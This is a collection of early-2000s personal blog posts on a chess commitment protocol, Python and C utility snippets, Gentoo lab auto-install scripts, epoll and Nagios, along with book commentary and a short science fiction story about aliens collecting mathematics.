  After Bob receives Commitment1 he sleeps for K seconds. He then waits to receive the signed copy of Message1. Bob verifies that Message1 was signed by the included copy of PKA, and that Commitment1 is correct.
  
  Bob quickly ponders his move and calculates:
  
  Message2 = (m2, PKB, PKA, Message1, n2)
  
  Bob signs Message2 and encrypts the signed copy with the PKA from Message1. He transmits this.
  
  Alice receives the signed and encrypted Message2. If more than K seconds have passed since she send Message1 she aborts the game.
  
  Otherwise, she decrypts Message2 and checks the signature against the included PKB and that her public key is correct.
  
  Results
  
  The person who knows the private key which matches public key PKB is also the person who made chess move m2. 
  Consider the plight of Bob, who tries to play Alice against a grand-master (who also follows this protocol). Bob must alter the public key in Message1 because the grand-master's reply is encrypted with it and Bob must substitute his key into the reply.
  Thus, Bob must wait for both Commitment1 and Message1 before he can forward either to the grand-master.
  However, he has to get the reply back to Alice K seconds after send sends Message1, but the grand-master is waiting at least K seconds after he receives the altered Commitment1 from Bob.
  The person who knows the private key which matches public key PKB signed Message2, so he knew the correct Alice public key and he knew Alice's original chess move.
  Since Message2 was encrypted with Alice's real public key, it was not possible for anyone to read the contents of Message2.
  
  
  Assumptions
  
  K is great enough to ignore transmission times, and for Bob to consider his move
  Everyone uses the same value for K
  The public key cipher is secure and the hash is uninvertable.
  
  
  
  
    
    
  UserFS
    
  LuFS seems to be a userfs that it actually being worked on. I haven't tried it yet, but it could be promising.
  
  And it even has coderman's P2P fs as an experimental module
  
    
    
  Python Snippits That I Know I'll Be Hunting For In The Future
    
  Some notes on the stuff I was talking about yesterday. People are welcome to jump in with comments if they like, but this is mostly for me to recognise when I've gone in a circle.
  
  A terminal log from my knockup in Python. This uses setxattr and friends. It's a new toy in the kernel (go read the manpage) but only XFS supports it correctly. I think the terminal log pretty much speaks for itself
  
  List: 
  unsorted                 {e0cb6e07b63cd592cad592bbb2c4f37a}          
  title                    Root                                         
  keywords                 {904f3b6ed1f0bdc87cf11232eea4292b}          
  comp                     {f3d00322003197219ed873a87135f09c}          
  people                   {f2124f6ef95e9c0cb6899b32741ea969}          
  types                    {89b870c400af24726b0095896587a10f}          
  
  > ...unsorted 
  > List:       
  syncthreading.pdf        {Sync Threading}                             
  TR-94-06.pdf             {Control Transfer in Operating System Ker... 
  CIRCA_whitepaper.pdf     {CIRCA Technology Overview}                  
  core_vulnerabilities.pdf {Advanced Buffer Overflows}                  
  RC22534Rev1full.pdf      {Thirty Years Later: Lessons from the Mul... 
  
  > ...syncthreading.pdf 
  > List:                
  title                    Sync Threading                               
  type                     {PDF}                                        
  filename                 syncthreading.pdf                            
  author                   {Adam Langley}                               
  
  > ...author 
  > List:     
  email                    agl@imperialviolet.org                       
  title                    Adam Langley                                 
  
  > Pop   
  > List: 
  title                    Sync Threading                               
  type                     {PDF}                                        
  filename                 syncthreading.pdf                            
  author                   {Adam Langley}                               
  
  > :view 
  xpdf /home/agl/lscape/1931bdf5e54e08edc866b00ff0f2a6a0&
  
  
  In this model there are strings, objects, bags and lists (collectively elements). Objects are unordered (string, elements) pairs and most of the things in that log are objects. Bags are unordered sets of elements and lists are ordered vectors of elements.
  
  That works to a point and I was just about to add backlinks to every object as bag of backlinks and a link called .backlinks. But, while links from objects are named the backlinks would never be. This is ok in some cases (such as structral links), but most of the time it matters that you were linked to with the name author because that has information value in the other direction as well.
  
  So links are:
  
  Properties: named at both ends, though it's important that each object knows which end it's on
  Pointers: named at the source end only
  Links: unnamed at both ends (bags and lists consist of these)
  
  
  (if you are an RDF type, think of Properties as Triples. I may end up with an RDF model, but I'll make my own why there)
  
  Now, should I allow multiple Properties with the same name from the same object or force them via a bag? Objects are going to have multiple incomming Properties with the same name, so I don't see why not.
  
  Also need to think about indexes
  
  
  
  Disabling terminal line buffering
  
  from termios import *
  
  IFLAG = 0
  OFLAG = 1
  CFLAG = 2
  LFLAG = 3
  ISPEED = 4
  OSPEED = 5
  CC = 6
  
  def save (fd):
          return tcgetattr (fd)
  
  def restore (fd, data):
          tcsetattr (fd, TCSAFLUSH, data)
  
  def nobuffer (fd, when=TCSAFLUSH):
          """Disable terminal line buffering."""
          mode = tcgetattr (fd)
  
          mode[IFLAG] = mode[IFLAG] & ~(INPCK | ISTRIP | IXON)
          mode[CFLAG] = mode[CFLAG] & ~(CSIZE | PARENB)
          mode[CFLAG] = mode[CFLAG] | CS8
          mode[LFLAG] = mode[LFLAG] & ~(ECHO | ICANON)
          mode[CC][VMIN] = 1
          mode[CC][VTIME] = 0
          tcsetattr(fd, when, mode)
  
  
  Why on earth isn't fold an inbuilt function? (this is a left fold)
  
  def fold (f, lst, init):
          cur = init
  
          for x in lst:
                  cur = f (cur, x)
          return cur
  
  
  Longest common prefix of two strings
  
  def common_root (s1, s2):
  	"Longest common prefix of two strings"
          n = min (len (s1), len (s2))
  
          for x in range (n):
                  if (s1[x] != s2[x]):
                          return s1[:x]
          return s1[:n]
  
  
  And tab completion
  p = filter (lambda x : x.find (b) == 0, comps)
  if (len (p) > 0):
  	root = fold (common_root, p, p[0])
  	if (len (root) > len (your_current_string)):
  		your_current_string = root
  
  
  
    
    
  Fantastic quote from Bram...
    
  Fantastic quote from Bram
  
  In other good news, the IETF announced a new policy in RFCs against using MUST to describe behavior which is widely violated in practice, especially when that violation won't change for the forseeable future
    
    
  Sigh. Another April 1st a...
    
  Sigh. Another April 1st and, once again, we have an April Fool's overload. Come on people, only post them if they're any good!
  
  I sent the following to coderman in reply to this blog entry. It was a little rushed since I was typing over a dial-up ssh (as am I with this actually) and it has inspired me to actually code up something, even if it's far short of what it could be. Hopefully it will give some insights (agl's nth rule: you don't understand it until after you code it).
  
  What you are talking about it very close to `the Unix philosophy'. One of the
  fantastic things about Unix is: cat /dev/sda1 | gzip > /backup/`date +%s`.gz
  
  Utility goes up super-linearly with the number of pluggable components.
  
  Now this stuff gives me nightmares, mainly because I'm generally always
  thinking about this stuff off and on, and have been for years. Your design of
  interfacing P2P with the filesystem is a good example of increasing the utility
  (and usability, from my point of view) of an application by exposing it using
  common interfaces. The design of those interfaces is just fantastically
  difficult.
  
  The `everything's a file' idea of Unix is good. But what is really missing is a
  userfs module in the kernel. Such things have existed at points in time, but
  never has there been a polished one (or even one included in the main kernel
  src). This limits the filesystem abstraction to devices and a few other little
  things and leaves bodges like PRELOAD libraries and GnomeVFS around. But we
  really need to expose application data and not have to end up writing fragile
  regexps which break on every minor release.
  
  I'm always wondering about designing a `better' system for this but generally
  get stuck in a loop:
  
  * Requires a fantastic number of components
  * and a lot of abstraction points that we don't have at the moment
    (most programs output falls into a few simple blocks like `typed table'
     (think `ls`) or `dictionary' (something like ifconfig) or nestings of the
     same. ls shouldn't know anything about terminals, it should just output
     a table and let the UI handle if (if the output is going to a UI). But then,
     if we are doing this properly, all code should use `ls` to get directory
     listings and that's a lot of forking and stuff data over pipes. Thus...
  * it would be fantastic if everything was in a single address space
  * so a `safe' language is needed. Quite possibly a new language completely
  * but that's a hell of a lot of work and makes the barrier to adoption
    pretty high.
  * So we cut down the number of components and dream about making it better..
  * 
  
  (that was a bit unplanned, but I'm on a metered dialup at the moment I'm
  afraid.)
  
  
  -- 
  Adam Langley                                      agl@imperialviolet.org
  http://www.imperialviolet.org                       (+44) (0)7986 296753
  PGP: 9113   256A   CC0F   71A6   4C84   5087   CDA5   52DF   2CB6   3D60
    
    
  Seems that the US may have used an EMP...
    
  
  Seems that the US may have used an EMP device against Iraqi TV. Doesn't seem to have been very effective if they did.
  Holy visions elude scientists. Someone tries to make Dawkins believe in God. (both these links from BoingBoing)
  And from LtU, Lecture Notes on Algorithmic Information Theory
  Coderman attracting the attention of the wrong people?
  
  
    
    
  Term's over, so I'm back ...
    
  Term's over, so I'm back home and back on a dialup and ferrying floppies between computers whenever I need to get anything onto my computer. Ah, the joys of non-IC Internet connections.
  
  Just before I left I pretty much had an automatic installation of Gentoo working, we'll just have to see if I can remember what on Earth I was doing when I go back in 5 weeks.
  
  This holiday will be mostly revising, so there's no going to be much stuff worthy of posting here going on, but there are some new photos of my halls Xmas party up.
  
    
    
  Epoll
    
  From LWN
  
  One aspect of the epoll interface is that it is edge-triggered; it will only return a file descriptor as being available for I/O after a change has happened on that file descriptor. In other words, if you tell epoll to watch a particular socket for readability, and a certain amount of data is already available for that socket, epoll will block anyway. It will only flag that socket as being readable when new data shows up.
  
  Edge-triggered interfaces have their own advantages and disadvantages. One of their disadvantages, as epoll author Davide Libenzi has discovered, would appear to be that many programmers do not understand edge-triggered interfaces.. Additionally, most existing applications are written for level-triggered interfaces (such as poll() and select()) instead. Rather than fight this tide, he has sent out  which switches epoll over to level-triggered behaviour. A subsequent patch makes the behaviour configurable on a per-file-descriptor basis.
  
  Fantastic, level triggered interfaces are nicer because they need less system calls. With edge-triggered you always need to call read/write until it EAGAINs otherwise you can miss data. That means at least 2 calls per edge, while level triggered generally means only 1 call per edge.
  
  Also, edge-triggering causes locking headaches when dealing with mutlithreaded apps and with these patches it should be possible to quite simply alter existing code to use epoll.
  
    
    
  Happy (Belated) Birthday IV!
    
  I totally missed it, but IV (in it's current form) was 1 year old on March 11th. Woo!
  
  I can now read what I was doing a year ago, which is nice. Oddly enough, I was doing pretty much the same thing... (read on)
  
  Mass Installing Gentoo
  
  Dept/Computing at Imperial has rather a lot of computers, as I'm sure you can guess. Nearly all of them install from a common base in order to keep the sysadmin tasks manageable. At the moment that base system is SuSE 7.2, with a few key packages upgraded (X, kernel, JDK and so on). Of course, SuSE 7.2 is getting a bit old now and we are looking for a new install for the coming year.
  
  We are testing a lot of distros, but at the moment I'm trying Gentoo. Good points:
  
  It's very easy to autoinstall because the packages shutup (see below)
  It's very current
  
  Bad points:
  
  Since we cannot afford to build from source we have to install binary packages, thus they can only be optimised to fit the lowest class of CPU (PPro for us I believe)
  Gentoo packages break a fair amount (missing dependencies etc)
  The gentoo-sources kernel package is just crap
  
  
  To autoinstall it I have a GRUB boot disk that TFTP/NFSroot boots a 2.4.20 kernel with init=/bin/bash. That (will, at the moment you have to type a command line) run a Python script that uses finds the IP of the box (kernel does DHCP), does a DNS lookup to get the hostname and uses a config file with regexps on the hostname to find a series of scripts to run.
  
  I have a quick python module to handle writing partition tables, other than that the scripts are at the bottom (these aren't final by any means)
  
  Everything is installed from binary packages built on a 2-way Xeon (which looks like a 4-way because of hyperthreading). The grub packages seem broken at the moment, however.
  
  If you look at the scripts, all you need to do is mount the /usr/portage directory from the server and make /usr/portage/distfiles a tmp area.
  
  #!/bin/sh
  
  /sbin/mkfs.xfs -f /dev/ide/host0/bus0/target0/lun0/part2
  /sbin/mkswap /dev/ide/host0/bus0/target0/lun0/part1
  swapon /dev/ide/host0/bus0/target0/lun0/part1
  mount -n -t xfs /dev/ide/host0/bus0/target0/lun0/part2 /mnt
  
  
  import partitions
  
  def run():
          p = partitions.PartitionTable("/dev/ide/host0/bus0/target0/lun0/disc")
          p.add_size (0x82, 512, 0)
          p.add_size (0x83, -1, 1)
          p.write ()
  
  
  cd /mnt
  tar xjv < /stage1-x86-1.4_rc3.tar.bz2
  mount -n --bind /usr/portage /mnt/usr/portage
  mount -n --bind /mnt/tmp /mnt/usr/portage/distfiles
  cp /etc/make.conf /mnt/etc/make.conf
  cp /etc/resolv.conf /mnt/etc/resolv.conf
  cp /etc/ld.so.conf /mnt/etc/ld.so.conf
  cp /config/gentoo-systems/internal /mnt/internal
  chmod a+x /mnt/internal
  chroot . /internal
  
  cd /
  umount /mnt
  
  
  #!/bin/sh
  
  source /etc/profile
  ldconfig
  emerge -K gcc gettext glibc baselayout texinfo zlib binutils
  ln -sf /usr/share/zoneinfo/Europe/London /etc/localtime
  emerge -K system
  emerge -K kde
  emerge -K prelink
  emerge -K sysklogd
  emerge -K grub
  emerge -K vim
  emerge -K libogg
  emerge -K libmng
  /usr/bin/fc-cache
  mkdir -p /boot/grub
  cd /boot/grub
  cp -a /usr/share/grub/i386-pc/* .
  printf "root (hd0,1)\nsetup (hd0)\n" | grub
  
  umount /usr/portage/distfiles
  swapoff /swap
  umount /usr/portage
  umount /dev
  umount /proc
  mkdir /lib/modules/2.4.20-xfs
  
    
    
  Stage Craft
    
  Another busy day yesterday. Setting up some lights (I'm in the very light brown t-shirt). And the results of those lights (think what it would have looked like if we had used green gels  and inside the venue (which was generally quite empty because everyone was downstairs for Artful Dodger)
    
    
  Quarantine - Greg Egan
    
  Greg Egan is a fantastic author and Quarantine is one of his very early books, and it shows a little. The book is full of the usual wonders of Egan's ideas but I felt that the ending was a little weak. I couldn't say why, there was no good reason why it wasn't a good ending - had a neat little twist and there weren't any loose threads left, but I felt like it didn't quite get back to the home key (GEB reference, for those who get it).
  
    
    
  You know it's time to upgrade when...
    
  ... the load of the box you're building Gentoo packages on can't hit the number of processors because it can't download source code fast enough when it's comming in at 1.6MB/s.
  
  Not too much been happening. Building lots of Gentoo binary packages for possibly installing on department lab machines next year (see above). Point to note: the userpriv option breaks stuff.
  
  Maybe with 64-bit address spaces we can finially get rid of filesystems as a user visiable system and all switch to single-level persistent object stores. Anyway, AMD looks like they have the best 64-bit offering at the moment and EROS's 2002 paper on single-level store design is here
  
  
    
    
  Valenti Speech
    
  Valenti's speech is quite good. Apart from the file that he's wrong in almost every important point, he speaks very well. I don't know if he gets things wrong because he really doesn't understand, or that he's just trying to find an acceptable cover for his clients' greed.
  
  He simply (seemingly) doesn't get that there is something fundamentally different about my physically depriving you of something and taking a copy. Of course, it's profitable to ignore that. He also asserts (unquestioned) that there are no alternate business models. Of course, it's profitable to ignore them (for the moment). He also doesn't get the difference between information and the physical expression of that information. Of course, it's profitable to treat information as a product.
  
  He just fundamentally doesn't get it. I wish I had a transcript of his answer to a question about DVD Region Encoding where he just assumes that the legal system is there to uphold whatever he deems best. It's just breathtaking arrogance.
  
  Nagios
  
  Nagios looks like a really good status monitoring tool. Have a look at the demo. I hope to get it going in DoC, but it requires a heck of a lot of installing. Thankfully there are (nearly) wonderful Gentoo ebuilds which do everything needed. (Only nearly wonderful because the ebuild had a bug; patch mailed to the maintainer. On the same note, the prelink ebuild also has a missing dependency to libc6-2.3.2; patch send to, and acked by, the maintainer).
  
  Unfortunately, DoC servers don't run Gentoo (or Debian I'm afraid) so it looks like I'm going to be doing it by hand.
  
  Nagios Configuration
  
  Nagios has quite a nasty configuration I'm afraid. So here's a Python script to do some of it for you.
  
  The input is a series of lines. The first character determines the type of line and they go like this:
  Hhost name,service 1[,service 2...]
  Ggroup name,group alias,member 1[,member 2...]
  Sservice name,service alias,service comment
  
  
  Example:
  
  Sping,Ping,check_ping!100.0,20%!500.0,60%
  Shttp,HTTP,check_http
  Sssh,SSH,check_ssh
  Ssmtp,SMTP,check_smtp
  Snntp,NNTP,check_nntp
  Snfs,NFS,check_rpc!nfs
  Hbulbul,ssh
  Hsax,ssh
  Hsparrow
  Gservers,Servers,bulbul,sax,sparrow
  
  
    
    
  GLibc6 2.3.2
    
  Just a quick warning, libc6 2.3.2 causes many programs to cough with an IP address of 0. I know it's not a very valid IP address, but it was a damm useful way of saying localhost. Just s/ 0 / 127.0.0.1 /g/
  
    
    
  Debian used to provide a ...
    
  Debian used to provide a very useful file called base2.2.tgz for potato. In it was a very basic, but runnable, Debian system from which you could install everything else. You can still get the one for 2.2, but there's no such file for 3.0. Instead you have a tarball containing the debs of all the critical packages. Which is nice, except that you don't have dpkg to install them.
  
  So, converting them all the tgz's and unpacking them gives you something close to a base system, except that dpkg doesn't think that anything is installed. Trying to install anything (including dpkg) pulls in libc6, and the inst script requires that dpkg know about itself. But you can't pull in dpkg because that requires libc6...
  
  In the end you have to install base2.2.tgz and upgrade it. Yay Gentoo, Boo Debian.
  
    
    
  So here's an odd thought ...
    
  So here's an odd thought in the hours before I go and be Strike Crew until 6 in the morning.
  
  In a world which seems to respect worse is better designs we shouldn't be looking to stamp principles all over our political system. We should, instead, be looking for an incremental approach; a directed genetic algorithm. David Brin thinks that this has been happening for decades with good effect.
  
  So, we would hope that all the political parties would have very similar views. The final result would be that everyone was in exactly the same political position, on top of the highest hill. (or, if you think of a GA as a minimising function, then at the bottom of the lowest valley).
  
  So, we should all rejoice that it's so hard to tell our political parties apart because it's a sign of increasing perfection [1, 2 and 3] (and yes, it is wonderful that number 2 there has a .com URL).
  
  No, I don't really believe it either. Nice thought for a rainy day though.
  
    
    
  Coder's recent entry contains...
    
  Coder's recent entry contains a link to a really good article on pricing. (similar to that Wal-Mart article I linked to).
  
  He then goes on to talk about how wonderful a database of prices would be so that anyone could instantly compare prices on a given product.
  
  I remember that such a database was going to be one of the great things about the Internet. There was a short story in New Scientist years ago, set in the future where baked beans were the only thing that still had brand loyalty. Everything else was brought from whomever sold at the lowest price. Hyperbole, but you get the idea.
  
  But I would bet that this database won't ever exist. For one, as that article covers, prices are becoming increasingly personalised so there would almost have to be one database per person. Also, companies don't want it.
  
  How many companies offer an XMLRPC/SOAP/etc way to find out the price of anything? Companies don't want a market where their prices are driven into the ground. They want to draw you into their advertising wonderland and certainly don't want RSS type applications searching for the lowest prices. We have all seen the unparsable mess they create when they are trying to make a good website. Just think what they could manage if they were trying to obscure the prices. When they are distorted images (designed to be hard to OCR, Turing Test like) it just won't be worth the effort.
  
  My Dilbert books are in Cheltenham, but I think it's in the Dilbert Future where Scott Adams talks about confusopolies. He was spot on.
  
    
    
  Python Metaclass Programm...
    
  
  Python Metaclass Programming[via Keith]
  Enforcing XML validity in Python
  New Gentoo newsletter
  Lawyer Arrested for Wearing a 'Peace' T-Shirt
  
  Global population forecast falls[via JWZ]
  
  
    
    
  Digital Sound Desks
    
  This is the current sound desk that Imperial Union use. As analog desks go it's really nice, but one cannot help but wonder, everytime that it's used, if a digital one wouldn't be better.
  
  I can decode an ogg stream, FFT it, FFT it back and write it to the sound card using 30% of one of my PII 450s. That suggests that I could process about 6 CD quality streams in real time. That's not helpful as we have 32 incoming XLR feeds. Also, quality ADCs output 96Khz, 24-bit and I could only manage a couple of those.
  
  Thankfully, FFT is pretty simple operation and a Xilinx (or 2, or 3 etc) could handle all 32 96/24 streams. A quick calculation suggest that it's 4.6 MB/s (remembering that a real domain FFT can throw away half the results) and that's easy to handle.
  
  Still, I might see if I can simulate some 3D spaces with sound in them and have a play about with feedback suppression etc.
  
    
    
  Does anyone have the audi...
    
  Does anyone have the audio recordings of CodeCon? Mail me.
  
  "US dirty tricks to win vote on Iraq war". Who wants to bet that 'a friendly foreign intelligence agency asking for its input' is the UK?
  
  Watson (on the 50th anniversary of his discovery) says stupidity should be cured
  
    
    
  BCS (British Programming ...
    
  BCS (British Programming Competition) today, so a 6:30am start and off to IBM in Winchester. The rules are very different from the BIO and IOI that I'm used to. For one, you enter in teams of 5 and you only have a single computer.
  
  Things certainly weren't helped by the fact that I didn't wake up until 1pm (Cola for lunch did it). After that things started moving, but we should have done a lot better really. In the end we came fifth, beating the Cambridge team at least.
  
    
    
  Coins
    
  What's special about the value of English coins that a greedy algorithm for picking them seems to work right? If you only had 1p, 20p and 50p, and you were trying to make 60p then a greedy algorithm would get you a solution with 11 coins (50 + 10×1), while the best one does it in 3 (3×20). So a greedy solution doesn't work in the general case, but I can't find a counter example for English coins.
  
  So, is there a counter example that I've missed, or is there something special about the value of English coins?
  
  (English coins are 200p, 100p, 50p, 20p, 10p, 5p, 2p and 1p)
  
    
    
  Rent (part 2)
    
  Read the first part first or this will make no sense at all.
  
  Rupert had given the people in his labs the rest of the week off once the bulk of the first message had been decoded but many of the people there couldn't imagine anything better in the world than working to finish the decoding. There were many details still to be understood, but they were falling under the attack faster and faster. People in the labs were conversing in the highly structured language of the alien message and an outsiders were starting to have problems following conversations.
  
  The next morning, Rupert was once again standing in the Nu-Vu conference room which had been converted into a semi-permanent media war room, starting to hate shirts and ties as the lights above baked him.
  
  "Last night, several members of the Nu-Vu labs team that helped to decode the first message, received another via the satellite communications equipment that was setup immediately once we started decoding. At this moment we can be sure that someone on Earth sent the reply.
  
  The communication with the aliens started at 0233 this morning and terminated at 0245. It was mostly consisted of incoming information and we are still revising our translation. I hesitate to say anything while our teams are still unfinished, but this cannot wait any longer. Please understand that details may change.
  
  As best we can tell, and I'm finding this pretty hard to believe, the situation is this:
  
  Our entire universe is a simulation. Every interaction of every particle is calculated at each step in time and the universe is advanced. As we are part of the universe we perceive this as forward motion in time. We think, and translations of this are still sketchy, that this information is embedded somehow in the physical working of the universe and that we would have discovered it once our physics was advanced enough.
  
  There are many universes like ours, differing only in the physical laws that govern them. The purpose of all these universes is to generate mathematics and the reason that the aliens are telling us all this is because we are falling behind. Unless we produce enough this universe will be terminated. In short, they need help paying the rent.
  
  Because of this, they are seeking to contact all the unenlightened species and asking them to package up all their mathematical knowledge into their language. In a little over 22 years they will be back to collect it from us and deliver it to a point in space that acts as an information conduct out of the universe.
  
  At our request, we think they have agreed to take an observation capsule to this point, which we are calling the origin.
  
  That's it. I'm going back to the labs now and will brief you again in half an hour with any corrections to that translation. The wording is our own, but we are quite confident that the important points are correct. I know how fantastic this all sounds and I think it's going to be another interesting day.
  
  Thank you."
  
  The news didn't speak of anything else for a week.
  
  
  Rupert remembered motion in space being very slow and delicate. The arms that extended from the top and bottom of the window were anything but. They shot into place with perfect accuracy, coupling with the origin at the top and bottom. Barely a second after that they retracted again and, in a moment, had vanished. Was that it? Had the whole of human mathematical knowledge and that of an unknown number of other races been transfered in that short time? It had taken over 20 years of painstaking but frantic work, coordinated by an international body lead by Rupert, to convert proofs into the rigorous format that the Gods (as the beings who ran the universe had become known) demanded. Many had failed under the close scrutiny and mankind hoped that it was enough. The origin seemed to start moving as the ship turned for the return journey.
  
  The cream of human mathematicians that populated the capsule began to drift away from the window. Further away from Earth than any human had ever been, a professor dropped an empty Starbucks cup into the bin. They were all thankful for the 1 gee artificial gravity that the alien ship provided the Nu-Vu capsule that looked so out of place bolted onto the alien ship. It seemed that only humans had requested a ride. Or maybe no other unenlightened species had been found.
  
  Time stopped.
   
  The universe disappeared.
   
  Physical laws twitched almost imperceptibly.
   
  At a single point an unimaginable amount of energy was poked into memory.
  
  
    
    
  Codecon is going on at th...
    
  Codecon is going on at the moment. As far as I knew, it was in a 21+ venue again (it was in DNA last year) but there are some noises on IRC that it's only 18+. Damm! I might have been able to go! Probably couldn't have afforded it anyway. Hopefully there will be tarballs of the audio again.
  
  
  	
  Creating Dynamic Websites with Lisp and Apache [via John W]
  	
  Wal-Mart [via Keith, it's a really good read]
  
  
  The air-con in the labs had failed and it's getting pretty hot in here now with all 150 or so computers. However, I have switched to using Phoenix (currently the best browser, IMHO) so it's not all bad news 
  
    
    
  The carefully planned gen...
    
  The carefully planned generator that was meant to keep the core servers running during the power cut, died due to earth leakage. The UPSes let the servers down gently, but they were still down for a while.
  
  And oddly, we managed to blow a lot of fuses somehow. Admittedly, some of them were 1 amp fuses and it doesn't take a lot to kill those. (somehow siskin now needs at least a 3 amp fuse when it has lived on 1 amp for months). We also managed to blow a few power supplies in a room which was totally isolated. The mind boggles.
  
  Anyway, things are mostly working now.
  
    
    
  IC draws so much power (d...
    
  IC draws so much power (despite the fact that we have our own power station on campus) that the supply is having to be upgraded. Because of this Dept/Comp are having a power cut tomorrow morning. We should have a genny, but I don't know how many of the servers we can put on it, so IV maybe down for a while.
  
    
    
  Rent
    
  Here's the first part (of 2) of a really-short story.
  
  
  Everyone in the capsule bustled around the window as the origin swung into
  view. The balance of politeness and eagerness kept the crew from pushing to get
  closer, but just barely. As the reflection of the ship and stars twisted and
  warped around the perfect surface its shape became clear. "Axial symmetry.
  Bugger. Doesn't define direction then" thought Rupert.
  
  Rupert had been a middle manager at Nu-Vu Labs during first contact. Nu-Vu was
  the unlikely, but fortunate, result of the collapse of NASA. While most
  companies were happy to peck tiny parts of NASA for their own ends the founders
  of Nu-Vu had managed, somehow, to get funding to buy large chunks of NASAs'
  research divisions through a number of mind-contorting legal agreements. It now
  did outsourced research for hire for a fair number of the Fortune 1000
  companies. Quite how it had all worked, Rupert wasn't sure. He was just very
  glad that it had.
  
  Academically acceptable, Rupert had never excelled at anything much and had
  staggered, more than anything, down his career path. Well off parents had
  managed to get him into Stanford and he came out as an average management type
  in a world full of average management types. With a couple of years experience
  doing nothing of note, getting the job at Nu-Vu (which was hiring as fast as
  possible) had been the biggest break of his life. However, at the time,
  managing a group that researched communication theory had merely been a quick
  escape from a small company that now included the other half of the messy end
  of a relationship.
  
  It just happened that a few months later the first alien message was received
  and the resulting effort to decode it meant that communications theory enjoyed
  the steepest rise in attention and funding of any research area, ever.
  
  The media went into a fit. The raw data from the SETI project was distributed
  all over the 'net and it seemed that everyone on the planet had their own take
  on what it meant. Channels were dedicated to following the researchers who were
  pouring over the data 24 hours a day all around the world and while the cranks
  got their 15 minutes of fame, explaining to the camera their latest theory,
  Rupert's face led most of the reports.
  
  It wasn't that he was partially smart (in fact, truth be told, he didn't even
  grasp half of what was going on in his own lab) but he had the right face and
  was junior enough a manager to seem involved. Because of this, it was he who
  announced, after 2 days, that the aliens had asked for us to ring them back and
  had given the position of a communications relay and frequency to do so.
  
  The talk shows exploded. Everyone on the planet had an opinion of what we
  should do and it was only fueled by the pictures of the communications relay
  taken by Hubble (which silenced many of the people who doubted that the
  original message was genuine).
  
  But few people commented that the debates were rather useless. If the first
  message had been picked up and decoded in private then it could have been
  contained. But SETI wasn't that sort of organisation and had spread the message
  far and wide.
  
  Noone knows, to this day, who sent the reply
  
    
    
  Microsoft Visitation
    
  Dear old M$ came a visiting today to espouse the virtues of .NET. The front row of the lecture theatre was full of systems people (myself included) wearing Apple, Linux and WebSphere T-shirts, so it was a pretty tough audience.
  
  But the M$ guy spoke really well and said only a few dumb things ("ASP is a scripting language so it runs on the client", "You need to R&D of commercial software houses to develop quality products") and it was generally a pretty noddy introduction to .NET.
  
  He demoed VS.NET doing web services stuff (it really looks like web services are a Big Thing (tm) at Microsoft now) and it worked well. But like most M$ stuff, if you wish to change any of the details you have better pre-book the triple heart bypass operation for the stress. He also showed linking a C# and J# (java to you and I) application together, and he used vim to edit the files no less.
  
  I also got to play with a Tablet PC. The handwriting recognition worked well for me (I have the girliest handwriting, however), but it's nothing special. A neat packaging of technology - no great break throughs.
  
  Hmm, that's actually a pretty positive entry about M$ I know, but they are being really nice to us. We (as students of Dept of Comp) can now get any M$ software for free. Don't know why we would wish to, but we could 
  
    
    
  XFree 4.2.99 has transpar...
    
  XFree 4.2.99 has transparent cursors, which is quite nice
  
  Lucrative is a new anonymous cash project (yes, another one and we're still waiting to hear a peep out of OpenDBS; hint Ryan) but it's there anyway. These projects can generally be classified pretty grossly and Lucrative is based on Lucre, but I can't remember the classification of Lucre.
  
  It seems that Intel have really tried with their compiler (non-freespech but free-beer for non-commercial) and make it a GCC drop-in. It can't compile a kernel without a fair amount of bodges, but I managed to get portage to use it and it compiled a number of packages perfectly. I just need to benchmark them now.
  
    
    
  There was a first alarm a...
    
  There was a first alarm at 4:30 this morning. I grabbed my coat, jumped into my slippers and got out of the building. Seeing I was the only person there I yelled,
  
  "First Post!"
  
  
  
    
    
  (read the previous post f...
    
  (read the previous post first)
  
  Guess what? It had happened! It just so perfectly matched the divine comedy that is my life I never really had any doubt
  
    
    
  I think JWZ and I have th...
    
  I think JWZ and I have the same personal gods who take great pleasure in our misfortune. (seriously, read that link). However, unlike JWZ I actually laugh along.
  
  I suddenly realised something at about 10 this morning walking down a corridor and nearly wet myself. People were walking past me quickly as I just spontaneously burst into fits of giggles. I'm sure a fair number of random people I've never met now think I've a serious mental problem. And I'm still going hours later!
  
  Thing is, I don't actually know that it's happened. But it's just so perfect, and so wonderfully typical of me I'm sure it has. The hand of fate will not be thwarted!
  
  But I'm afraid, dear reader, that the details shall not grace these pages.
    
    
  Did you know you can rena...
    
  Did you know you can rename network interfaces under Linux. It could be quite useful to have a utility that reads a mapping of MAC addresses to names and sets all the interface names. That way you could work with inside and outside and not eth0 and eth1. A quick utility for your renaming pleasure:
  
  /* if_rename.c - Renames linux network interfaces
   * Adam Langley <aglREMOVETHIS@imperialviolet.org>
   * % gcc -o if_rename if_rename.c -Wall
   */
  
  #include <sys/ioctl.h>
  #include <net/if.h>
  #include <linux/sockios.h>
  #include <stdio.h>
  #include <string.h>
  
  int
  main (int argc, char **argv)
  {
  	struct ifreq ifr;
  	int fd;
  
  	if (argc != 3) {
  		printf ("Usage: %s <old interface name> <new interface name>\n", argv[0]);
  		return 1;
  	}
  	
  	if (strlen (argv[1]) > IFNAMSIZ - 1 || strlen (argv[2]) > IFNAMSIZ - 1) {
  		printf ("String too long (max length is %d chars)\n", IFNAMSIZ - 1);
  		return 2;
  	}
  
  	strcpy (ifr.ifr_name, argv[1]);
  	strcpy (ifr.ifr_newname, argv[2]);
  
  	fd = socket (PF_INET, SOCK_STREAM, 0);
  	if (fd < 0) {
  		printf ("I cannot create a normal TCP socket. It is, of course, possible "
  		"to not build your kernel with TCP/IP support, in which case you have to " 
  		"hack this utility to work you wizard you.\n");
  		return 3;
  	}
  	if (ioctl (fd, SIOCSIFNAME, &ifr) == -1) {
  		perror ("ioctl");
  		printf ("Are you root? Is %s down? Does %s even exist?\n", argv[0], 
  			argv[0]);
  		return 4;
  	}
  
  	return 0;
  }
  
  
    
    
  Still working on the Secu...
    
  Still working on the Secure NFS thing. Been looking at a couple of kernel patches:
  
  Firstly, epoll. This used to be known as /dev/epoll, but it's now a set of system calls and is merged into 2.5. Patches are on that site for 2.4.
  
  This is basically a replacement for the poll system call (though it is edge-triggered, not level-triggered) and, as the results on the webpage show, works much more quickly for large fd sets. I still have some worries about some multithreading issues with this, but it looks like I'm going to use it.
  
  Secondly, the Kernel Mode Linux patch. This runs processes in the kernel address space, making system calls much faster. Results from my computer are 286 cycles/getpid from user-land and 6 cycles/getpid from kernel-land. This would be nice to have (see below) but, unfortunately, it seems to cause random crashes in (at least) vim and xmms.
